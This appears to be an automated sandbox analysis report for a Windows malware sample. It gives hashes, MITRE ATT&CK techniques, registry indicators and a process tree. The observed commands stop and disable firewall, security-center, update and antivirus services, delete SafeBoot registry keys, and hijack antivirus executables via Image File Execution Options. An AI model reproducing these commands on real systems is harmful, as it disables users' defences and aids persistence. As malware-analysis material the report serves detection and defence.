d3b5897320195999a3f603de8e2566d90e4ee6961ea27485bdb2f0ba8fc32abf

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
26/12/2023, 06:44

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General

Target

5a6f0086c1ad23380a4b8f77b4641918.exe
Size

1.5MB
MD5

5a6f0086c1ad23380a4b8f77b4641918
SHA1

3cc7905822b233349b6bd3f716009446b85a0d4b
SHA256

d3b5897320195999a3f603de8e2566d90e4ee6961ea27485bdb2f0ba8fc32abf
SHA512

b2819055feb8e79c93f1d914371e087716bad53f13d24970277857ed91b20e45b828f593045f7de2fa68d53d00c156b1e1f24e6239f78f32a145932ae7e68ec1
SSDEEP

24576:UuhaqOieZJ8NI8GOieZJ8NI8JOieZJ8NI8GOieZJ8NI8J:by8b8A8b8J

Score

10^/10

evasion persistence

Malware Config

Signatures

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	regedit.exe

Blocks application from running via registry modification 17 IoCs

Adds application to list of disallowed applications.

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "RfwMain.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "CCenter.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "KPFW32X.EXE"	regedit.exe
Key created	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "avp.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "RavMoD.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "RavStub.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "Rav.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "RavMon.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "KPFW32.EXE"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "KAVPFW.EXE"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "Rfwsrv.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "RavService.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "rfwcfg.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "KAV32.EXE"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "KAVStart.EXE"	regedit.exe

Sets file execution options in registry 2 TTPs 20 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rfwsrv.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rfwsrv.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMoD.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RfwMain.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RfwMain.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMoD.exe\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVStart.EXE	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVStart.EXE\Debugger = "D:\\RECYCLER\\????8.exe"	regedit.exe

Executes dropped EXE 1 IoCs

pid	Process
676	KavUpda.exe

Drops autorun.inf file 1 TTPs 2 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	F:\Autorun.inf	KavUpda.exe
File opened for modification	C:\Autorun.inf	KavUpda.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Option.bat	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	KavUpda.exe

Drops file in Program Files directory 39 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jjs.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.0\createdump.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.25\createdump.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaws.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jmap.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jconsole.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jps.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	5a6f0086c1ad23380a4b8f77b4641918.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Help\HelpCat.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File created	C:\Windows\Sysinf.bat	5a6f0086c1ad23380a4b8f77b4641918.exe
File created	C:\Windows\regedt32.sys	5a6f0086c1ad23380a4b8f77b4641918.exe
File created	C:\Windows\Help\HelpCat.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Windows\system\KavUpda.exe	5a6f0086c1ad23380a4b8f77b4641918.exe
File opened for modification	C:\Windows\system\KavUpda.exe	KavUpda.exe
File opened for modification	C:\Windows\Sysinf.bat	KavUpda.exe
File opened for modification	C:\Windows\regedt32.sys	KavUpda.exe
File created	C:\Windows\regedt32.sys	KavUpda.exe
File created	C:\Windows\system\KavUpda.exe	5a6f0086c1ad23380a4b8f77b4641918.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1172	sc.exe
5092	sc.exe
2940	sc.exe
1832	sc.exe
4104	sc.exe
1796	sc.exe
1344	sc.exe
3156	sc.exe

Runs net.exe

Runs regedit.exe 1 IoCs

pid	Process
1724	regedit.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	676	KavUpda.exe
Token: SeIncBasePriorityPrivilege	676	KavUpda.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: 33	2224	5a6f0086c1ad23380a4b8f77b4641918.exe
Token: SeIncBasePriorityPrivilege	2224	5a6f0086c1ad23380a4b8f77b4641918.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2224	5a6f0086c1ad23380a4b8f77b4641918.exe
676	KavUpda.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 3984	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	25
PID 2224 wrote to memory of 3984	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	25
PID 2224 wrote to memory of 3984	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	25
PID 2224 wrote to memory of 544	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	23
PID 2224 wrote to memory of 544	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	23
PID 2224 wrote to memory of 544	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	23
PID 544 wrote to memory of 2004	544	net.exe	19
PID 544 wrote to memory of 2004	544	net.exe	19
PID 544 wrote to memory of 2004	544	net.exe	19
PID 2224 wrote to memory of 4132	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	110
PID 2224 wrote to memory of 4132	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	110
PID 2224 wrote to memory of 4132	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	110
PID 2224 wrote to memory of 216	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	109
PID 2224 wrote to memory of 216	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	109
PID 2224 wrote to memory of 216	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	109
PID 2224 wrote to memory of 3880	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	107
PID 2224 wrote to memory of 3880	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	107
PID 2224 wrote to memory of 3880	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	107
PID 2224 wrote to memory of 3720	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	166
PID 2224 wrote to memory of 3720	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	166
PID 2224 wrote to memory of 3720	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	166
PID 2224 wrote to memory of 2516	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	104
PID 2224 wrote to memory of 2516	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	104
PID 2224 wrote to memory of 2516	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	104
PID 2224 wrote to memory of 2952	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	101
PID 2224 wrote to memory of 2952	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	101
PID 2224 wrote to memory of 2952	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	101
PID 2224 wrote to memory of 4472	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	99
PID 2224 wrote to memory of 4472	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	99
PID 2224 wrote to memory of 4472	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	99
PID 2224 wrote to memory of 3856	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	97
PID 2224 wrote to memory of 3856	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	97
PID 2224 wrote to memory of 3856	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	97
PID 2224 wrote to memory of 1172	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	95
PID 2224 wrote to memory of 1172	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	95
PID 2224 wrote to memory of 1172	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	95
PID 2224 wrote to memory of 3156	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	94
PID 2224 wrote to memory of 3156	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	94
PID 2224 wrote to memory of 3156	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	94
PID 2224 wrote to memory of 1344	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	93
PID 2224 wrote to memory of 1344	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	93
PID 2224 wrote to memory of 1344	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	93
PID 2224 wrote to memory of 1796	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	92
PID 2224 wrote to memory of 1796	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	92
PID 2224 wrote to memory of 1796	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	92
PID 2224 wrote to memory of 1724	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	89
PID 2224 wrote to memory of 1724	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	89
PID 2224 wrote to memory of 1724	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	89
PID 2224 wrote to memory of 4236	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	87
PID 2224 wrote to memory of 4236	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	87
PID 2224 wrote to memory of 4236	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	87
PID 2224 wrote to memory of 5104	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	86
PID 2224 wrote to memory of 5104	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	86
PID 2224 wrote to memory of 5104	2224	5a6f0086c1ad23380a4b8f77b4641918.exe	86
PID 3720 wrote to memory of 3448	3720	Conhost.exe	169
PID 3720 wrote to memory of 3448	3720	Conhost.exe	169
PID 3720 wrote to memory of 3448	3720	Conhost.exe	169
PID 2516 wrote to memory of 1740	2516	Process not Found	144
PID 2516 wrote to memory of 1740	2516	Process not Found	144
PID 2516 wrote to memory of 1740	2516	Process not Found	144
PID 4472 wrote to memory of 4504	4472	net.exe	73
PID 4472 wrote to memory of 4504	4472	net.exe	73
PID 4472 wrote to memory of 4504	4472	net.exe	73
PID 2952 wrote to memory of 1276	2952	net.exe	72

Views/modifies file attributes 1 TTPs 16 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5100	attrib.exe
2820	attrib.exe
3668	attrib.exe
2360	attrib.exe
3156	attrib.exe
2956	attrib.exe
400	attrib.exe
3120	attrib.exe
2268	attrib.exe
5100	attrib.exe
3576	attrib.exe
2452	attrib.exe
4708	attrib.exe
3152	attrib.exe
2644	attrib.exe
3300	attrib.exe

C:\Users\Admin\AppData\Local\Temp\5a6f0086c1ad23380a4b8f77b4641918.exe
"C:\Users\Admin\AppData\Local\Temp\5a6f0086c1ad23380a4b8f77b4641918.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\SysWOW64\net.exe
  net.exe start schedule /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:544
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  PID:3984
- C:\Windows\system\KavUpda.exe
  C:\Windows\system\KavUpda.exe
  2⤵
  - Executes dropped EXE
  - Drops autorun.inf file
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:676
- - C:\Windows\SysWOW64\sc.exe
    C:\Windows\system32\sc.exe config srservice start= disabled
    3⤵
    - Launches sc.exe
    PID:5092
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f
    3⤵
    PID:2404
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f
    3⤵
    PID:1020
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir F:\Autorun.inf /s /q
    3⤵
    PID:4968
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d
    3⤵
    PID:2332
- - C:\Windows\SysWOW64\sc.exe
    C:\Windows\system32\sc.exe config wscsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2940
- - C:\Windows\SysWOW64\sc.exe
    C:\Windows\system32\sc.exe config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:1832
- - C:\Windows\SysWOW64\sc.exe
    C:\Windows\system32\sc.exe config srservice start= disabled
    3⤵
    - Launches sc.exe
    PID:4104
- - C:\Windows\SysWOW64\net.exe
    net.exe stop 360timeprot /y
    3⤵
    PID:3528
- - C:\Windows\SysWOW64\net.exe
    net.exe stop srservice /y
    3⤵
    PID:5024
- - C:\Windows\SysWOW64\net.exe
    net.exe stop wuauserv /y
    3⤵
    PID:3448
- - C:\Windows\SysWOW64\net.exe
    net.exe stop sharedaccess /y
    3⤵
    PID:1704
- - C:\Windows\SysWOW64\net.exe
    net.exe stop wscsvc /y
    3⤵
    PID:3152
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c at 11:02:55 AM C:\Windows\Sysinf.bat
    3⤵
    PID:3968
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c at 10:59:55 AM C:\Windows\Sysinf.bat
    3⤵
    PID:1616
- - C:\Windows\SysWOW64\At.exe
    At.exe 11:00:53 AM C:\Windows\Help\HelpCat.exe
    3⤵
    PID:1968
- - C:\Windows\SysWOW64\cmd.exe
